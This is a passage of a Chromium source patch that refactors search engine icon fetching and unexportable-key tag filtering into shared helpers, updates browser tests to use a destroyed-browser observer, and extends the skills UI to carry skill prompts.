 import org.chromium.components.search_engines.ChoiceMadeLocation;
 import org.chromium.components.search_engines.TemplateUrl;
 import org.chromium.components.search_engines.TemplateUrlService;
-import org.chromium.net.NetworkTrafficAnnotationTag;
 import org.chromium.url.GURL;
 
 import java.lang.annotation.Retention;
@@ -74,38 +70,6 @@
     public static final long MAX_DISPLAY_TIME_SPAN_MS = DateUtils.DAY_IN_MILLIS * 2;
     private static final Runnable NO_OP = () -> {};
 
-    private static final NetworkTrafficAnnotationTag TRAFFIC_ANNOTATION =
-            NetworkTrafficAnnotationTag.createComplete(
-                    "search_engine_adapter",
-                    """
-                    semantics {
-                        sender: 'SearchEngineAdapter'
-                        description: 'Sends a request to a Google server to retrieve the favicon bitmap.'
-                        trigger:
-                            'A request is sent when the user opens search engine settings and Chrome does '
-                            'not have a favicon.'
-                        data: 'Search engine URL and desired icon size.'
-                        destination: GOOGLE_OWNED_SERVICE
-                        internal {
-                            contacts {
-                                email: 'chrome-signin-team@google.com'
-                            }
-                            contacts {
-                                email: 'triploblastic@google.com'
-                            }
-                        }
-                        user_data {
-                            type: NONE
-                        }
-                        last_reviewed: '2023-12-04'
-                    }
-                    policy {
-                        cookies_allowed: NO
-                        policy_exception_justification: 'Not implemented.'
-                        setting: 'This feature cannot be disabled by settings.'
-                    }\
-                    """);
-
     private static final int VIEW_TYPE_COUNT = 3;
 
     @VisibleForTesting
@@ -609,51 +573,8 @@
     }
 
     private void updateLogo(ImageView logoView, TemplateUrl templateUrl, GURL faviconUrl) {
-        if (mIconCache.containsKey(faviconUrl)) {
-            logoView.setImageBitmap(mIconCache.get(faviconUrl));
-            return;
-        }
-
-        @Nullable Bitmap bitmap = templateUrl.getBuiltInSearchEngineIcon();
-        if (bitmap != null) {
-            mIconCache.put(faviconUrl, bitmap);
-            logoView.setImageBitmap(bitmap);
-            return;
-        }
-
-        // Use a placeholder image while trying to fetch the logo.
-        int uiElementSizeInPx =
-                mContext.getResources().getDimensionPixelSize(R.dimen.search_engine_favicon_size);
-        logoView.setImageBitmap(
-                FaviconUtils.createGenericFaviconBitmap(mContext, uiElementSizeInPx, null));
-        LargeIconCallback onFaviconAvailable =
-                (icon, fallbackColor, isFallbackColorDefault, iconType) -> {
-                    if (icon != null) {
-                        logoView.setImageBitmap(icon);
-                        mIconCache.put(faviconUrl, icon);
-                    }
-                };
-        GoogleFaviconServerCallback googleServerCallback =
-                (status) -> {
-                    // Update the time the icon was last requested to avoid automatic eviction
-                    // from cache.
-                    mLargeIconBridge.touchIconFromGoogleServer(faviconUrl);
-                    // The search engine logo will be fetched from google servers, so the actual
-                    // size of the image is controlled by LargeIconService configuration.
-                    // minSizePx=1 is used to accept logo of any size.
-                    mLargeIconBridge.getLargeIconForUrl(
-                            faviconUrl,
-                            /* minSizePx= */ 1,
-                            /* desiredSizePx= */ uiElementSizeInPx,
-                            onFaviconAvailable);
-                };
-        // If the icon already exists in the cache no network request will be made, but the
-        // callback will be triggered nonetheless.
-        mLargeIconBridge.getLargeIconOrFallbackStyleFromGoogleServerSkippingLocalCache(
-                faviconUrl,
-                /* shouldTrimPageUrlPath= */ true,
-                TRAFFIC_ANNOTATION,
-                googleServerCallback);
+        SearchEngineIconUtils.updateIcon(
+                mContext, logoView, templateUrl, faviconUrl, mLargeIconBridge, mIconCache);
     }
 
     // TemplateUrlService.LoadListener
diff --git a/chrome/browser/search_engines/android/java/src/org/chromium/chrome/browser/search_engines/settings/SearchEngineIconUtils.java b/chrome/browser/search_engines/android/java/src/org/chromium/chrome/browser/search_engines/settings/SearchEngineIconUtils.java
new file mode 100644
index 0000000..da1a072
--- /dev/null
+++ b/chrome/browser/search_engines/android/java/src/org/chromium/chrome/browser/search_engines/settings/SearchEngineIconUtils.java
@@ -0,0 +1,129 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.search_engines.settings;
+
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.widget.ImageView;
+
+import org.chromium.build.annotations.NullMarked;
+import org.chromium.build.annotations.Nullable;
+import org.chromium.chrome.browser.search_engines.R;
+import org.chromium.chrome.browser.ui.favicon.FaviconUtils;
+import org.chromium.components.favicon.LargeIconBridge;
+import org.chromium.components.favicon.LargeIconBridge.GoogleFaviconServerCallback;
+import org.chromium.components.favicon.LargeIconBridge.LargeIconCallback;
+import org.chromium.components.search_engines.TemplateUrl;
+import org.chromium.net.NetworkTrafficAnnotationTag;
+import org.chromium.url.GURL;
+
+import java.util.Map;
+
+/** Utilities for fetching search engine icons. */
+@NullMarked
+public class SearchEngineIconUtils {
+    private static final NetworkTrafficAnnotationTag TRAFFIC_ANNOTATION =
+            NetworkTrafficAnnotationTag.createComplete(
+                    "search_engine_adapter",
+                    """
+                    semantics {
+                        sender: 'SearchEngineAdapter'
+                        description: 'Sends a request to a Google server to retrieve the favicon bitmap.'
+                        trigger:
+                            'A request is sent when the user opens search engine settings and Chrome does '
+                            'not have a favicon.'
+                        data: 'Search engine URL and desired icon size.'
+                        destination: GOOGLE_OWNED_SERVICE
+                        internal {
+                            contacts {
+                                email: 'chrome-signin-team@google.com'
+                            }
+                            contacts {
+                                email: 'triploblastic@google.com'
+                            }
+                        }
+                        user_data {
+                            type: NONE
+                        }
+                        last_reviewed: '2023-12-04'
+                    }
+                    policy {
+                        cookies_allowed: NO
+                        policy_exception_justification: 'Not implemented.'
+                        setting: 'This feature cannot be disabled by settings.'
+                    }\
+                    """);
+
+    /**
+     * Updates the provided ImageView with the Search Engine icon. It checks the cache (if exists),
+     * built-in resources, and falls back to fetching from the Google Server.
+     *
+     * @param context Context for resources.
+     * @param logoView The ImageView to update.
+     * @param templateUrl The search engine template.
+     * @param faviconUrl The specific GURL for the favicon.
+     * @param largeIconBridge The bridge to fetch icons.
+     * @param iconCache Optional: A map to store/retrieve fetched bitmaps.
+     */
+    public static void updateIcon(
+            Context context,
+            ImageView logoView,
+            TemplateUrl templateUrl,
+            GURL faviconUrl,
+            LargeIconBridge largeIconBridge,
+            @Nullable Map<GURL, Bitmap> iconCache) {
+
+        if (iconCache != null && iconCache.containsKey(faviconUrl)) {
+            logoView.setImageBitmap(iconCache.get(faviconUrl));
+            return;
+        }
+
+        @Nullable Bitmap bitmap = templateUrl.getBuiltInSearchEngineIcon();
+        if (bitmap != null) {
+            if (iconCache != null) {
+                iconCache.put(faviconUrl, bitmap);
+            }
+            logoView.setImageBitmap(bitmap);
+            return;
+        }
+
+        // Use a placeholder image while trying to fetch the logo.
+        int uiElementSizeInPx =
+                context.getResources().getDimensionPixelSize(R.dimen.search_engine_favicon_size);
+        logoView.setImageBitmap(
+                FaviconUtils.createGenericFaviconBitmap(context, uiElementSizeInPx, null));
+        LargeIconCallback onFaviconAvailable =
+                (icon, fallbackColor, isFallbackColorDefault, iconType) -> {
+                    if (icon != null) {
+                        logoView.setImageBitmap(icon);
+                        if (iconCache != null) {
+                            iconCache.put(faviconUrl, icon);
+                        }
+                    }
+                };
+
+        GoogleFaviconServerCallback googleServerCallback =
+                (status) -> {
+                    // Update the time the icon was last requested to avoid automatic eviction
+                    // from cache.
+                    largeIconBridge.touchIconFromGoogleServer(faviconUrl);
+                    // The search engine logo will be fetched from google servers, so the actual
+                    // size of the image is controlled by LargeIconService configuration.
+                    // minSizePx=1 is used to accept logo of any size.
+                    largeIconBridge.getLargeIconForUrl(
+                            faviconUrl,
+                            /* minSizePx= */ 1,
+                            /* desiredSizePx= */ uiElementSizeInPx,
+                            onFaviconAvailable);
+                };
+        // If the icon already exists in the cache no network request will be made, but the
+        // callback will be triggered nonetheless.
+        largeIconBridge.getLargeIconOrFallbackStyleFromGoogleServerSkippingLocalCache(
+                faviconUrl,
+                /* shouldTrimPageUrlPath= */ true,
+                TRAFFIC_ANNOTATION,
+                googleServerCallback);
+    }
+}
diff --git a/chrome/browser/sessions/BUILD.gn b/chrome/browser/sessions/BUILD.gn
index cffde33c..83fa343 100644
--- a/chrome/browser/sessions/BUILD.gn
+++ b/chrome/browser/sessions/BUILD.gn
@@ -1,6 +1,7 @@
 # Copyright 2025 The Chromium Authors
 # Use of this source code is governed by a BSD-style license that can be
 # found in the LICENSE file.
+import("//chrome/common/features.gni")
 
 source_set("sessions") {
   sources = [
@@ -13,4 +14,9 @@
     "//components/sessions",
     "//ui/base:types",
   ]
+
+  deps = []
+  if (enable_glic) {
+    deps += [ "//chrome/browser/glic" ]
+  }
 }
diff --git a/chrome/browser/sessions/session_restore_browsertest.cc b/chrome/browser/sessions/session_restore_browsertest.cc
index 3ba1e21d..b0082d2 100644
--- a/chrome/browser/sessions/session_restore_browsertest.cc
+++ b/chrome/browser/sessions/session_restore_browsertest.cc
@@ -1746,8 +1746,9 @@
   std::unique_ptr<ScopedKeepAlive> keep_alive(new ScopedKeepAlive(
       KeepAliveOrigin::SESSION_RESTORE, KeepAliveRestartOption::DISABLED));
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseTab(browser());
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
 
   ui_test_utils::AllBrowserTabAddedWaiter tab_waiter;
   SessionRestoreTestHelper restore_observer;
@@ -1784,8 +1785,9 @@
 
   // First close the original browser to clear the session information (as
   // verified by CloseSingleTabRestoresNothing).
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseTab(browser());
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
 
   SessionRestoreTestHelper restore_observer;
 
diff --git a/chrome/browser/sessions/tab_restore_browsertest.cc b/chrome/browser/sessions/tab_restore_browsertest.cc
index 6006359..85186c1 100644
--- a/chrome/browser/sessions/tab_restore_browsertest.cc
+++ b/chrome/browser/sessions/tab_restore_browsertest.cc
@@ -384,8 +384,9 @@
   EXPECT_EQ(2u, chrome::GetTotalBrowserCount());
 
   // Close the final tab in the first browser.
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   CloseTab(0);
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
 
   // Tab should be in a new window.
   ui_test_utils::BrowserCreatedObserver browser_created_observer;
@@ -490,8 +491,9 @@
     CloseTab(0);
 
   // Close the last tab, closing the browser.
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   CloseTab(0);
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_EQ(1u, chrome::GetTotalBrowserCount());
 
   // Restore the last-closed tab into a new window.
diff --git a/chrome/browser/sessions/tab_restore_service_factory.cc b/chrome/browser/sessions/tab_restore_service_factory.cc
index 83855da..59c1b94 100644
--- a/chrome/browser/sessions/tab_restore_service_factory.cc
+++ b/chrome/browser/sessions/tab_restore_service_factory.cc
@@ -8,8 +8,13 @@
 
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/browser/sessions/chrome_tab_restore_service_client.h"
+#include "chrome/common/buildflags.h"
 #include "components/sessions/core/tab_restore_service_impl.h"
 
+#if BUILDFLAG(ENABLE_GLIC)
+#include "chrome/browser/glic/public/glic_keyed_service_factory.h"
+#endif
+
 namespace {
 
 std::unique_ptr<KeyedService> BuildTemplateService(
@@ -66,7 +71,11 @@
               // TODO(crbug.com/41488885): Check if this service is needed for
               // Ash Internals.
               .WithAshInternals(ProfileSelection::kOriginalOnly)
-              .Build()) {}
+              .Build()) {
+#if BUILDFLAG(ENABLE_GLIC)
+  DependsOn(glic::GlicKeyedServiceFactory::GetInstance());
+#endif
+}
 
 TabRestoreServiceFactory::~TabRestoreServiceFactory() = default;
 
diff --git a/chrome/browser/signin/bound_session_credentials/unexportable_key_obsolete_profile_garbage_collector.cc b/chrome/browser/signin/bound_session_credentials/unexportable_key_obsolete_profile_garbage_collector.cc
index c984ee1..ae51bb7f 100644
--- a/chrome/browser/signin/bound_session_credentials/unexportable_key_obsolete_profile_garbage_collector.cc
+++ b/chrome/browser/signin/bound_session_credentials/unexportable_key_obsolete_profile_garbage_collector.cc
@@ -42,14 +42,6 @@
 constexpr std::string_view kDestroyedProfilesHistogramPrefix =
     "Crypto.UnexportableKeys.GarbageCollection.DestroyedProfiles.";
 
-std::string GetApplicationTag(crypto::UnexportableKeyProvider::Config config) {
-#if BUILDFLAG(IS_MAC)
-  return std::move(config.application_tag);
-#else
-  return std::string();
-#endif  // BUILDFLAG(IS_MAC)
-}
-
 }  // namespace
 
 UnexportableKeyObsoleteProfileGarbageCollector::
@@ -133,20 +125,12 @@
 
   // Filter `key_ids`, removing ids where we can't obtain the key's tag, or the
   // tag is known to be active.
-  std::erase_if(key_ids, [&](UnexportableKeyId key_id) -> bool {
-    ASSIGN_OR_RETURN(std::string key_tag,
-                     user_data_dir_service_->GetKeyTag(key_id),
-                     [](auto) { return true; });
-    // Since `active_application_tag_prefixes` is sorted, a possible prefix of
-    // `key_tag` must come right before `key_tag` if it was in the set.
-    auto it = active_application_tag_prefixes.upper_bound(key_tag);
-    return it != active_application_tag_prefixes.begin() &&
-           key_tag.starts_with(*std::prev(it));
-  });
+  size_t used_key_count = FilterUnexportableKeysByActiveApplicationTags(
+      key_ids, *user_data_dir_service_, active_application_tag_prefixes);
 
   base::UmaHistogramCounts100(
       base::StrCat({kObsoleteProfilesHistogramPrefix, "UsedKeyCount"}),
-      key_count - key_ids.size());
+      used_key_count);
 
   base::UmaHistogramCounts100(
       base::StrCat({kObsoleteProfilesHistogramPrefix, "ObsoleteKeyCount"}),
diff --git a/chrome/browser/signin/bound_session_credentials/unexportable_key_profile_garbage_collection_service_factory.cc b/chrome/browser/signin/bound_session_credentials/unexportable_key_profile_garbage_collection_service_factory.cc
index 4ed69aba..1d0fd8f 100644
--- a/chrome/browser/signin/bound_session_credentials/unexportable_key_profile_garbage_collection_service_factory.cc
+++ b/chrome/browser/signin/bound_session_credentials/unexportable_key_profile_garbage_collection_service_factory.cc
@@ -40,14 +40,6 @@
 constexpr std::string_view kDestroyedOTRProfilesHistogramPrefix =
     "Crypto.UnexportableKeys.GarbageCollection.DestroyedOTRProfiles.";
 
-std::string GetApplicationTag(crypto::UnexportableKeyProvider::Config config) {
-#if BUILDFLAG(IS_MAC)
-  return std::move(config.application_tag);
-#else
-  return std::string();
-#endif  // BUILDFLAG(IS_MAC)
-}
-
 class OriginalProfileGarbageCollectionService : public KeyedService {
  public:
   explicit OriginalProfileGarbageCollectionService(Profile& profile)
@@ -97,21 +89,12 @@
 
     // Remove all key ids where no tag could be obtained, or the prefix is still
     // active.
-    std::erase_if(key_ids, [&](UnexportableKeyId key_id) -> bool {
-      ASSIGN_OR_RETURN(std::string key_tag, service_->GetKeyTag(key_id),
-                       [](auto) { return true; });
-      // Since `active_application_tag_prefixes` is sorted, a possible prefix of
-      // `key_tag` must come right before `key_tag` if it was in the set.
-      // TODO(crbug.com/455538832): This logic is shared between the garbage
-      // collection classes. Move it to a shared location and add tests.
-      auto it = active_application_tag_prefixes.upper_bound(key_tag);
-      return it != active_application_tag_prefixes.begin() &&
-             key_tag.starts_with(*std::prev(it));
-    });
+    size_t used_key_count = FilterUnexportableKeysByActiveApplicationTags(
+        key_ids, *service_, active_application_tag_prefixes);
 
     base::UmaHistogramCounts100(
         base::StrCat({kObsoleteOTRProfilesHistogramPrefix, "UsedKeyCount"}),
-        key_count - key_ids.size());
+        used_key_count);
 
     base::UmaHistogramCounts100(
         base::StrCat({kObsoleteOTRProfilesHistogramPrefix, "ObsoleteKeyCount"}),
diff --git a/chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config.cc b/chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config.cc
index 168ca9a..c84bd45 100644
--- a/chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config.cc
+++ b/chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config.cc
@@ -17,9 +17,11 @@
 #include "base/strings/strcat.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/string_util.h"
+#include "base/types/expected_macros.h"
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/browser/signin/bound_session_credentials/unexportable_key_service_factory.h"
 #include "chrome/common/chrome_version.h"
+#include "components/unexportable_keys/unexportable_key_service.h"
 #include "crypto/hash.h"
 #include "third_party/abseil-cpp/absl/strings/str_format.h"
 
@@ -38,9 +40,9 @@
   return HexEncodeLowerSha64(base::as_byte_span(data));
 }
 
-// Checks the absence of prefixes in the given `strs` vector. That is, returns if there is
-// no `i` and `j` (different from `i`) such that `strs[i]` is a prefix of
-// `strs[j]`.
+// Checks the absence of prefixes in the given `strs` vector. That is, returns
+// if there is no `i` and `j` (different from `i`) such that `strs[i]` is a
+// prefix of `strs[j]`.
 consteval bool IsPrefixFree(std::vector<std::string_view> strs) {
   std::ranges::sort(strs);
   return std::ranges::adjacent_find(
@@ -150,4 +152,27 @@
   return config;
 }
 
+std::string GetApplicationTag(crypto::UnexportableKeyProvider::Config config) {
+#if BUILDFLAG(IS_MAC)
+  return std::move(config.application_tag);
+#else
+  return std::string();
+#endif  // BUILDFLAG(IS_MAC)
+}
+
+size_t FilterUnexportableKeysByActiveApplicationTags(
+    std::vector<UnexportableKeyId>& key_ids,
+    UnexportableKeyService& key_service,
+    const base::flat_set<std::string>& active_application_tag_prefixes) {
+  return std::erase_if(key_ids, [&](UnexportableKeyId key_id) -> bool {
+    ASSIGN_OR_RETURN(std::string key_tag, key_service.GetKeyTag(key_id),
+                     [](auto) { return true; });
+    // Since `active_application_tag_prefixes` is sorted, a possible prefix of
+    // `key_tag` must come right before `key_tag` if it was in the set.
+    auto it = active_application_tag_prefixes.upper_bound(key_tag);
+    return it != active_application_tag_prefixes.begin() &&
+           key_tag.starts_with(*std::prev(it));
+  });
+}
+
 }  // namespace unexportable_keys
diff --git a/chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config.h b/chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config.h
index 2d387f4..0c50a8e 100644
--- a/chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config.h
+++ b/chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config.h
@@ -5,6 +5,11 @@
 #ifndef CHROME_BROWSER_SIGNIN_BOUND_SESSION_CREDENTIALS_UNEXPORTABLE_KEY_PROVIDER_CONFIG_H_
 #define CHROME_BROWSER_SIGNIN_BOUND_SESSION_CREDENTIALS_UNEXPORTABLE_KEY_PROVIDER_CONFIG_H_
 
+#include <string>
+#include <vector>
+
+#include "base/containers/flat_set.h"
+#include "components/unexportable_keys/unexportable_key_id.h"
 #include "crypto/unexportable_key.h"
 
 class Profile;
@@ -15,6 +20,8 @@
 
 namespace unexportable_keys {
 
+class UnexportableKeyService;
+
 // An enum to define the intended use of the unexportable key.
 enum class KeyPurpose {
   kRefreshTokenBinding,
@@ -95,6 +102,19 @@
     const base::FilePath& relative_partition_path,
     KeyPurpose purpose);
 
+// Returns the application tag for the given `config`.
+// Returns an empty string if the platform does not support application tags or
+// if the config does not have one.
+std::string GetApplicationTag(crypto::UnexportableKeyProvider::Config config);
+
+// Filters `key_ids`, removing ids where the key's tag cannot be obtained, or
+// where the tag is prefixed by one of the `active_application_tag_prefixes`.
+// Returns the number of keys removed.
+size_t FilterUnexportableKeysByActiveApplicationTags(
+    std::vector<UnexportableKeyId>& key_ids,
+    UnexportableKeyService& key_service,
+    const base::flat_set<std::string>& active_application_tag_prefixes);
+
 }  // namespace unexportable_keys
 
 #endif  // CHROME_BROWSER_SIGNIN_BOUND_SESSION_CREDENTIALS_UNEXPORTABLE_KEY_PROVIDER_CONFIG_H_
diff --git a/chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config_mac_unittest.cc b/chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config_unittest.cc
similarity index 84%
rename from chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config_mac_unittest.cc
rename to chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config_unittest.cc
index 829ea7df..14696f3 100644
--- a/chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config_mac_unittest.cc
+++ b/chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config_unittest.cc
@@ -4,21 +4,35 @@
 
 #include "chrome/browser/signin/bound_session_credentials/unexportable_key_provider_config.h"
 
+#include <string>
 #include <string_view>
+#include <vector>
 
-#include "base/files/file_path.h"
-#include "base/strings/string_util.h"
-#include "base/time/time.h"
-#include "chrome/common/chrome_version.h"
-#include "chrome/test/base/testing_profile.h"
+#include "base/containers/flat_set.h"
+#include "base/types/expected.h"
+#include "build/build_config.h"
+#include "components/unexportable_keys/mock_unexportable_key_service.h"
+#include "components/unexportable_keys/service_error.h"
+#include "components/unexportable_keys/unexportable_key_id.h"
 #include "content/public/test/browser_task_environment.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace unexportable_keys {
+#if BUILDFLAG(IS_MAC)
+#include "base/strings/string_util.h"
+#include "chrome/browser/profiles/profile.h"
+#include "chrome/common/chrome_version.h"
+#include "chrome/test/base/testing_profile.h"
+#endif  // BUILDFLAG(IS_MAC)
 
+namespace unexportable_keys {
 namespace {
 
+using ::testing::ElementsAre;
+using ::testing::Return;
+using ::testing::StrictMock;
+
+#if BUILDFLAG(IS_MAC)
 using ::testing::Not;
 using ::testing::StartsWith;
 
@@ -41,6 +55,7 @@
 // Hex hash of u64{1} (Unix Epoch + 1ms)
 constexpr std::string_view kOneMillisecondAfterUnixEpochHash =
     "7c9fa136d4413fa6";
+#endif  // BUILDFLAG(IS_MAC)
 
 class UnexportableKeyProviderConfigTest : public testing::Test {
  public:
@@ -50,6 +65,50 @@
   content::BrowserTaskEnvironment task_environment_;
 };
 
+TEST_F(UnexportableKeyProviderConfigTest,
+       FilterUnexportableKeysByActiveApplicationTags) {
+  StrictMock<MockUnexportableKeyService> service;
+  UnexportableKeyId key_with_error;
+  UnexportableKeyId key_with_active_tag_1;
+  UnexportableKeyId key_with_active_tag_2;
+  UnexportableKeyId key_with_inactive_tag;
+  UnexportableKeyId key_with_partial_match_tag;
+
+  std::vector<UnexportableKeyId> key_ids = {
+      key_with_error,        key_with_active_tag_1,      key_with_active_tag_2,
+      key_with_inactive_tag, key_with_partial_match_tag,
+  };
+  base::flat_set<std::string> active_tags = {"active1", "active2"};
+
+  // 1. Error fetching tag -> Removed
+  EXPECT_CALL(service, GetKeyTag(key_with_error))
+      .WillOnce(Return(base::unexpected(ServiceError::kKeyNotFound)));
+
+  // 2. Active tag 1 -> Kept
+  EXPECT_CALL(service, GetKeyTag(key_with_active_tag_1))
+      .WillOnce(Return("active1.something"));
+
+  // 3. Active tag 2 -> Kept
+  EXPECT_CALL(service, GetKeyTag(key_with_active_tag_2))
+      .WillOnce(Return("active2"));
+
+  // 4. Inactive tag -> Removed
+  EXPECT_CALL(service, GetKeyTag(key_with_inactive_tag))
+      .WillOnce(Return("inactive"));
+
+  // 5. Prefix of active tag but not full match -> Removed
+  EXPECT_CALL(service, GetKeyTag(key_with_partial_match_tag))
+      .WillOnce(Return("active"));
+
+  size_t removed = FilterUnexportableKeysByActiveApplicationTags(
+      key_ids, service, active_tags);
+
+  EXPECT_EQ(removed, 3u);
+  EXPECT_THAT(key_ids,
+              ElementsAre(key_with_inactive_tag, key_with_partial_match_tag));
+}
+
+#if BUILDFLAG(IS_MAC)
 TEST_F(UnexportableKeyProviderConfigTest, ForUserDataDir) {
   base::FilePath user_data_dir("/user/data/dir");
   const crypto::UnexportableKeyProvider::Config config =
@@ -269,7 +328,7 @@
   EXPECT_THAT(lst_tag, Not(StartsWith(dbsc_prototype_tag)));
   EXPECT_THAT(lst_tag, Not(StartsWith(dbsc_standard_tag)));
 }
+#endif  // BUILDFLAG(IS_MAC)
 
 }  // namespace
-
 }  // namespace unexportable_keys
diff --git a/chrome/browser/signin/signin_ui_util_browsertest.cc b/chrome/browser/signin/signin_ui_util_browsertest.cc
index 764e9fb91..41a3e4a 100644
--- a/chrome/browser/signin/signin_ui_util_browsertest.cc
+++ b/chrome/browser/signin/signin_ui_util_browsertest.cc
@@ -996,12 +996,13 @@
   EXPECT_EQ(1, browser->tab_strip_model()->count());
 
   // Profile deletion closes the browser.
+  ui_test_utils::BrowserDestroyedObserver observer(browser);
   g_browser_process->profile_manager()
       ->GetDeleteProfileHelper()
       .MaybeScheduleProfileForDeletion(
           new_profile->GetPath(), base::DoNothing(),
           ProfileMetrics::DELETE_PROFILE_USER_MANAGER);
-  ui_test_utils::WaitForBrowserToClose(browser);
+  observer.Wait();
   EXPECT_FALSE(chrome::FindBrowserWithProfile(new_profile));
 
   // `ShowExtensionSigninPrompt()` does nothing for deleted profile.
diff --git a/chrome/browser/site_isolation/site_per_process_interactive_uitest.cc b/chrome/browser/site_isolation/site_per_process_interactive_uitest.cc
index 3a299d5..282a4cd2 100644
--- a/chrome/browser/site_isolation/site_per_process_interactive_uitest.cc
+++ b/chrome/browser/site_isolation/site_per_process_interactive_uitest.cc
@@ -896,8 +896,15 @@
       [web_contents](content::RenderFrameHost* receiver,
                      const gfx::Point& point) {
         auto content_bounds = web_contents->GetContainerBounds();
-        ui_controls::SendMouseMove(point.x() + content_bounds.x(),
-                                   point.y() + content_bounds.y());
+        // Wait for the mouse move to be processed before sending the click.
+        // On Wayland, SendMouseClick uses last_mouse_location() to find the
+        // target window; if the move hasn't been processed yet,
+        // last_mouse_location() is stale and the test clicks wrong point.
+        base::RunLoop move_loop;
+        ui_controls::SendMouseMoveNotifyWhenDone(point.x() + content_bounds.x(),
+                                                 point.y() + content_bounds.y(),
+                                                 move_loop.QuitClosure());
+        move_loop.Run();
         ui_controls::SendMouseClick(ui_controls::LEFT);
 
         LOG(INFO) << "Click element";
diff --git a/chrome/browser/skills/skills_ui_tab_controller.cc b/chrome/browser/skills/skills_ui_tab_controller.cc
index 3734bc76..935165a 100644
--- a/chrome/browser/skills/skills_ui_tab_controller.cc
+++ b/chrome/browser/skills/skills_ui_tab_controller.cc
@@ -69,6 +69,9 @@
   if (dialog_delegate_) {
     return;
   }
+
+  current_skill_ = skill;
+
   content::WebContents* contents = tab_->GetContents();
   CHECK(contents);
   Profile* profile = Profile::FromBrowserContext(contents->GetBrowserContext());
@@ -122,6 +125,10 @@
   }
 }
 
+bool SkillsUiTabController::IsShowing() const {
+  return dialog_delegate_ != nullptr;
+}
+
 void SkillsUiTabController::InvokeSkill(std::string_view skill_id) {
   if (pending_skill_id_.empty()) {
     ShowGlicPanel();
diff --git a/chrome/browser/skills/skills_ui_tab_controller.h b/chrome/browser/skills/skills_ui_tab_controller.h
index d50ce10..6b79a53 100644
--- a/chrome/browser/skills/skills_ui_tab_controller.h
+++ b/chrome/browser/skills/skills_ui_tab_controller.h
@@ -11,6 +11,7 @@
 #include "chrome/browser/skills/skills_ui_tab_controller_interface.h"
 #include "chrome/browser/ui/webui/skills/skills_dialog_delegate.h"
 #include "chrome/common/buildflags.h"
+#include "components/skills/public/skill.h"
 #include "components/skills/public/skills_service.h"
 #include "ui/base/unowned_user_data/scoped_unowned_user_data.h"
 
@@ -63,6 +64,13 @@
     return pending_skill_id_;
   }
 
+  const std::optional<skills::Skill>& GetCurrentSkillForTesting() const {
+    return current_skill_;
+  }
+
+  // Returns true if the skills dialog is currently being shown.
+  bool IsShowing() const;
+
  protected:
   // Displays the glic panel.
   virtual void ShowGlicPanel();
@@ -99,6 +107,9 @@
   base::RepeatingTimer glic_panel_ready_timer_;
   base::TimeTicks glic_panel_open_time_;
   std::string pending_skill_id_;
+
+  // Caches the skill for which the dialog is currently shown.
+  std::optional<skills::Skill> current_skill_;
   base::WeakPtrFactory<SkillsUiTabController> weak_ptr_factory_{this};
 };
 
diff --git a/chrome/browser/skills/skills_update_observer.cc b/chrome/browser/skills/skills_update_observer.cc
index ed901155..1f5afc4 100644
--- a/chrome/browser/skills/skills_update_observer.cc
+++ b/chrome/browser/skills/skills_update_observer.cc
@@ -20,22 +20,26 @@
 #include "content/public/browser/web_contents.h"
 
 namespace {
-std::vector<glic::mojom::SkillPreviewPtr> ConvertSkillsListToSkillPreviews(
+std::vector<glic::mojom::SkillPtr> ConvertSkillsListToSkills(
     const skills::proto::SkillsList* skills_list) {
-  std::vector<glic::mojom::SkillPreviewPtr> skill_previews;
+  std::vector<glic::mojom::SkillPtr> skills;
   if (!skills_list) {
-    return skill_previews;
+    return skills;
   }
-  for (const skills::proto::Skill& skill : skills_list->skills()) {
+  for (const skills::proto::Skill& skill_proto : skills_list->skills()) {
     glic::mojom::SkillPreviewPtr skill_preview =
         glic::mojom::SkillPreview::New();
-    skill_preview->id = skill.id();
-    skill_preview->name = skill.name();
-    skill_preview->icon = skill.icon();
+    skill_preview->id = skill_proto.id();
+    skill_preview->name = skill_proto.name();
+    skill_preview->icon = skill_proto.icon();
     skill_preview->source = glic::mojom::SkillSource::kFirstParty;
-    skill_previews.push_back(std::move(skill_preview));
+
+    glic::mojom::SkillPtr skill = glic::mojom::Skill::New();
+    skill->preview = std::move(skill_preview);
+    skill->prompt = skill_proto.prompt();
+    skills.push_back(std::move(skill));
   }
-  return skill_previews;
+  return skills;
 }
 }  // namespace
 
@@ -114,9 +118,9 @@
   }
 }
 
-std::vector<glic::mojom::SkillPreviewPtr>
+std::vector<glic::mojom::SkillPtr>
 SkillsUpdateObserver::GetContextualSkills() const {
-  return ConvertSkillsListToSkillPreviews(contextual_skills_.get());
+  return ConvertSkillsListToSkills(contextual_skills_.get());
 }
 
 }  // namespace skills
diff --git a/chrome/browser/skills/skills_update_observer.h b/chrome/browser/skills/skills_update_observer.h
index 7f5163c..37f108ed 100644
--- a/chrome/browser/skills/skills_update_observer.h
+++ b/chrome/browser/skills/skills_update_observer.h
@@ -46,8 +46,7 @@
     return contextual_skills_.get();
   }
 
-  // Retrieves the current list of skill previews.
